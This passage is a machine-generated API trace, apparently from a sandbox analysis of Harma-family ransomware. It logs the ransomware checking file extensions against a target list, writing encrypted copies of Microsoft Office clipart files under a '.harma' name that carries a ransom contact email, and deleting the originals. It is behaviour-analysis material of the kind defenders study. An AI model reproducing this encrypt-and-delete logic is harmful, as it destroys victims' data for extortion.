office\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0159.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.106] lstrlenW (lpString=".doc") returned 4 [0159.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString=".docx") returned 5 [0159.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.106] lstrlenW (lpString=".pdf") returned 4 [0159.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString=".xls") returned 4 [0159.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.106] lstrlenW (lpString=".xlsx") returned 5 [0159.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.106] lstrlenW (lpString=".ppt") returned 4 [0159.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.106] lstrlenW (lpString=".zip") returned 4 [0159.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.106] lstrlenW (lpString=".rar") returned 4 [0159.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString=".bz2") returned 4 [0159.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString=".7z") returned 3 [0159.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.106] lstrlenW (lpString=".dbf") returned 4 [0159.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.106] lstrlenW (lpString=".1cd") returned 4 [0159.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.106] lstrlenW (lpString=".jpg") returned 4 [0159.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.107] lstrlenW (lpString=".doc") returned 4 [0159.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString=".docx") returned 5 [0159.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.107] lstrlenW (lpString=".pdf") returned 4 [0159.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString=".xls") returned 4 [0159.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.107] lstrlenW (lpString=".xlsx") returned 5 [0159.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.107] lstrlenW (lpString=".ppt") returned 4 [0159.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.107] lstrlenW (lpString=".zip") returned 4 [0159.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.107] lstrlenW (lpString=".rar") returned 4 [0159.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString=".bz2") returned 4 [0159.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString=".7z") returned 3 [0159.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.107] lstrlenW (lpString=".dbf") returned 4 [0159.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.107] lstrlenW (lpString=".1cd") returned 4 [0159.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0159.107] lstrlenW (lpString=".jpg") returned 4 [0159.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.108] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.108] lstrlenW (lpString="IN00346_.WMF") returned 12 [0159.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.108] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=696) returned 1 [0159.108] CloseHandle (hObject=0x370) returned 1 [0159.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0159.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.109] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.109] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.110] GetLastError () returned 0x0 [0159.110] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2b8, lpOverlapped=0x0) returned 1 [0159.111] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0159.112] ReadFile (in: hFile=0x370, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.112] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.112] SetEndOfFile (hFile=0x380) returned 1 [0159.112] CloseHandle (hObject=0x380) returned 1 [0159.112] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.113] SetEndOfFile (hFile=0x370) returned 1 [0159.115] CloseHandle (hObject=0x370) returned 1 [0159.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0159.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.117] lstrlenW (lpString=".doc") returned 4 [0159.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString=".docx") returned 5 [0159.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.117] lstrlenW (lpString=".pdf") returned 4 [0159.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString=".xls") returned 4 [0159.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.117] lstrlenW (lpString=".xlsx") returned 5 [0159.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.117] lstrlenW (lpString=".ppt") returned 4 [0159.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.117] lstrlenW (lpString=".zip") returned 4 [0159.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.117] lstrlenW (lpString=".rar") returned 4 [0159.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString=".bz2") returned 4 [0159.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString=".7z") returned 3 [0159.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.117] lstrlenW (lpString=".dbf") returned 4 [0159.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.117] lstrlenW (lpString=".1cd") returned 4 [0159.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.117] lstrlenW (lpString=".jpg") returned 4 [0159.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.118] lstrlenW (lpString=".doc") returned 4 [0159.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".docx") returned 5 [0159.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.118] lstrlenW (lpString=".pdf") returned 4 [0159.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".xls") returned 4 [0159.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.118] lstrlenW (lpString=".xlsx") returned 5 [0159.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.118] lstrlenW (lpString=".ppt") returned 4 [0159.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.118] lstrlenW (lpString=".zip") returned 4 [0159.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.118] lstrlenW (lpString=".rar") returned 4 [0159.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".bz2") returned 4 [0159.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString=".7z") returned 3 [0159.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.118] lstrlenW (lpString=".dbf") returned 4 [0159.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.118] lstrlenW (lpString=".1cd") returned 4 [0159.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0159.118] lstrlenW (lpString=".jpg") returned 4 [0159.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.119] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.447] lstrlenW (lpString="IN00351_.WMF") returned 12 [0159.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.507] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1928) returned 1 [0159.507] CloseHandle (hObject=0x34c) returned 1 [0159.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0159.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.512] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.512] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.512] GetLastError () returned 0x0 [0159.512] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x788, lpOverlapped=0x0) returned 1 [0159.532] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x790, lpOverlapped=0x0) returned 1 [0159.533] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.533] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.533] SetEndOfFile (hFile=0x348) returned 1 [0159.533] CloseHandle (hObject=0x348) returned 1 [0159.533] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.533] SetEndOfFile (hFile=0x350) returned 1 [0159.535] CloseHandle (hObject=0x350) returned 1 [0159.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0159.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.536] lstrlenW (lpString=".doc") returned 4 [0159.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.536] lstrlenW (lpString=".docx") returned 5 [0159.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.537] lstrlenW (lpString=".pdf") returned 4 [0159.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString=".xls") returned 4 [0159.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.537] lstrlenW (lpString=".xlsx") returned 5 [0159.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.537] lstrlenW (lpString=".ppt") returned 4 [0159.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.537] lstrlenW (lpString=".zip") returned 4 [0159.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.537] lstrlenW (lpString=".rar") returned 4 [0159.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString=".bz2") returned 4 [0159.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString=".7z") returned 3 [0159.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.537] lstrlenW (lpString=".dbf") returned 4 [0159.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.537] lstrlenW (lpString=".1cd") returned 4 [0159.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.537] lstrlenW (lpString=".jpg") returned 4 [0159.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.537] lstrlenW (lpString=".doc") returned 4 [0159.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.537] lstrlenW (lpString=".docx") returned 5 [0159.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.538] lstrlenW (lpString=".pdf") returned 4 [0159.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.538] lstrlenW (lpString=".xls") returned 4 [0159.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.538] lstrlenW (lpString=".xlsx") returned 5 [0159.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.538] lstrlenW (lpString=".ppt") returned 4 [0159.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.538] lstrlenW (lpString=".zip") returned 4 [0159.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.538] lstrlenW (lpString=".rar") returned 4 [0159.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.538] lstrlenW (lpString=".bz2") returned 4 [0159.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.538] lstrlenW (lpString=".7z") returned 3 [0159.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.538] lstrlenW (lpString=".dbf") returned 4 [0159.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.538] lstrlenW (lpString=".1cd") returned 4 [0159.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0159.538] lstrlenW (lpString=".jpg") returned 4 [0159.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.538] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0159.539] lstrlenW (lpString="IN00919_.WMF") returned 12 [0159.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.539] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6920) returned 1 [0159.539] CloseHandle (hObject=0x350) returned 1 [0159.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0159.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.540] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.540] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.541] GetLastError () returned 0x0 [0159.541] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1b08, lpOverlapped=0x0) returned 1 [0159.549] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0159.550] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0159.550] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.550] SetEndOfFile (hFile=0x348) returned 1 [0159.550] CloseHandle (hObject=0x348) returned 1 [0159.551] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0159.551] SetEndOfFile (hFile=0x350) returned 1 [0159.553] CloseHandle (hObject=0x350) returned 1 [0159.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0159.554] lstrlenW (lpString=".doc") returned 4 [0159.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.554] lstrlenW (lpString=".docx") returned 5 [0159.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.554] lstrlenW (lpString=".pdf") returned 4 [0159.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.554] lstrlenW (lpString=".xls") returned 4 [0159.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.554] lstrlenW (lpString=".xlsx") returned 5 [0159.554] lstrcmpiW (lpString1=".xlsx", 